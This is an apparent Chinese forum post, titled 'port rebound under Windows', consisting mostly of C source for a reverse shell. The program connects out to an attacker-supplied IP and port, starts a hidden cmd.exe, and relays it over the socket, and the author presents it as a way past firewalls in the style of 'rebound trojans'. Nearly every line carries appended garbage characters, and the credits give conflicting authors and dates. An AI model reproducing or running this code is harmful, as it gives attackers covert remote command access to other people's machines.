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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1q[vNP=g&  
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/* ============================== Mi5"XQ>/  
Rebound port in Windows NT !Ci\Zg  
By wind,2006/7 [!v| M  
===============================*/ cLD-,v;c  
#include i%R2#F7I  
#include :8<\]}J  
U.@j !UrZ  
#pragma comment(lib,"wsock32.lib") ;%R+]&J  
`Y`QxU!d%  
void OutputShell(); 6c/Tm0[  
SOCKET sClient; A -dL_3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H#joc0?P  
FS vtiNW<  
void main(int argc,char **argv) I@f">&^  
{ Cl+TjmOV\`  
WSADATA stWsaData; #VwA?$4g`  
int nRet; q;kN+NK64  
SOCKADDR_IN stSaiClient,stSaiServer; Wo^r#iRko  
FrNW@  
if(argc != 3) 4IIXzMOa  
{ sO!YM5v8  
printf("Useage:\n\rRebound DestIP DestPort\n"); Bi +a)_K  
return; rl,6r u  
}  :_qgpE<  
>Tm|}\qEb  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7 vS]O$w<4  
62Ab4!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "lp),  
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stSaiClient.sin_family = AF_INET; #6tb{ws3  
stSaiClient.sin_port = htons(0); 3psCV=/z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &!3=eVg  
3d{v5. C#X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N>fC"  
{ xwH+Q7O&l  
printf("Bind Socket Failed!\n"); SRN:!-  
return; 35;)O -  
} BHwQB2t gc  
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stSaiServer.sin_family = AF_INET; J]f\=;z;<a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); at/v.U |F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "=unDpq]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FRicHs n  
{ fWR]L47n  
printf("Connect Error!"); O/IW.t  
return; qO<'_7TN[  
} {V!Jj6n  
OutputShell(); =#i#IF42?  
} "mA Vkq~  
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void OutputShell() ,uD>.->  
{ 2&W(@wT$  
char szBuff[1024]; -ANp88a  
SECURITY_ATTRIBUTES stSecurityAttributes; 3986;>v  
OSVERSIONINFO stOsversionInfo; 6dh@DG*k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >NN|vj  
STARTUPINFO stStartupInfo; #4{f2s[j6  
char *szShell; DlR&Lnv  
PROCESS_INFORMATION stProcessInformation; 6qK0G$>  
unsigned long lBytesRead; `he{"0U~S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [H#I:d-+\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?S8cl7;+  
stSecurityAttributes.lpSecurityDescriptor = 0; Y962rZ  
stSecurityAttributes.bInheritHandle = TRUE; j\nnx8`7  
RGGP6SDc  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #ZIV>(Q\H  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N1Y*IkW"  
G:.Nq,513  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kNW&rg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t%Z_*mIfmE  
stStartupInfo.wShowWindow = SW_HIDE; lX`)Avqa  
stStartupInfo.hStdInput = hReadPipe; $&m^WrZaY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nm*!#hx  
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GetVersionEx(&stOsversionInfo); ^sq3@*hCw  
Kg>+5~+E?q  
switch(stOsversionInfo.dwPlatformId) L_jwM ^8  
{ IPcAE!h6zN  
case 1: k 6~k  
szShell = "command.com"; @ -JD`2z  
break; ~Xnq(}?ok  
default: dCcV$BX,K  
szShell = "cmd.exe"; P _t8=d  
break; -o F#a 8  
} pF.Ws,nQ5  
:Qu!0tY  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <W vuW6  
MUNeGqv  
send(sClient,szMsg,77,0); qTiUha9  
while(1) TUZ-4{kV"  
{ -(>x@];r0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B|%=<1?  
if(lBytesRead) amGQ!$] %#  
{ d {moU\W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C4Q ^WU+$j  
send(sClient,szBuff,lBytesRead,0); G#Z%jO-XN  
} x#| P-^  
else T}2a~  
{ L]#J?lE&  
lBytesRead=recv(sClient,szBuff,1024,0); Ydmz!CEu  
if(lBytesRead<=0) break; oC U8;z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b0E(tPw5c  
} "twV3R  
} @?K(+BGi  
S'Q$N-Dy  
return; [j}%&$  
}
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